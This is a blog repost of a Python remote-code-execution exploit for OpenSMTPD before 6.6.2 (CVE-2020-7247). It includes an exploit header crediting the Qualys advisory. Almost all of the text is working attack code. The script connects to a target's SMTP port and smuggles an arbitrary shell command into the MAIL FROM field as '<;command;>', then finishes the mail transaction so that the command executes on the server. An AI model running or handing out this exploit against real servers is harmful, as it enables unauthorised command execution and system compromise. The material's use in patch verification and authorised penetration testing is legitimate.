Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86371077

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: OpenSMTPD 6.6.1 - Remote Code Execution
# Date: 2020-01-29
# Exploit Author: 1F98D
# Original Author: Qualys Security Advisory
# Vendor Homepage: https://www.opensmtpd.org/
# Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1
# Version: OpenSMTPD < 6.6.2
# Tested on: Debian 9.11 (x64)
# CVE: CVE-2020-7247
# References:
# https://www.openwall.com/lists/oss-security/2020/01/28/3
#
# OpenSMTPD after commit a8e222352f and before version 6.6.2 does not adequately
# escape dangerous characters from user-controlled input. An attacker
# can exploit this to execute arbitrary shell commands on the target.
# 
#!/usr/local/bin/python3

from socket import *
import sys

if len(sys.argv) != 4:
    print('Usage {} <target ip> <target port> <command>'.format(sys.argv[0]))
    print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv[0]))
    sys.exit(1)

ADDR = sys.argv[1]
PORT = int(sys.argv[2])
CMD = sys.argv[3]

s = socket(AF_INET, SOCK_STREAM)
s.connect((ADDR, PORT))

res = s.recv(1024)
if 'OpenSMTPD' not in str(res):
    print('[!] No OpenSMTPD detected')
    print('[!] Received {}'.format(str(res)))
    print('[!] Exiting...')
    sys.exit(1)

print('[*] OpenSMTPD detected')
s.send(b'HELO x\r\n')
res = s.recv(1024)
if '250' not in str(res):
    print('[!] Error connecting, expected 250')
    print('[!] Received: {}'.format(str(res)))
    print('[!] Exiting...')
    sys.exit(1)

print('[*] Connected, sending payload')
s.send(bytes('MAIL FROM:<;{};>\r\n'.format(CMD), 'utf-8'))
res = s.recv(1024)
if '250' not in str(res):
    print('[!] Error sending payload, expected 250')
    print('[!] Received: {}'.format(str(res)))
    print('[!] Exiting...')
    sys.exit(1)

print('[*] Payload sent')
s.send(b'RCPT TO:<root>\r\n')
s.recv(1024)
s.send(b'DATA\r\n')
s.recv(1024)
s.send(b'\r\nxxx\r\n.\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
print('[*] Done')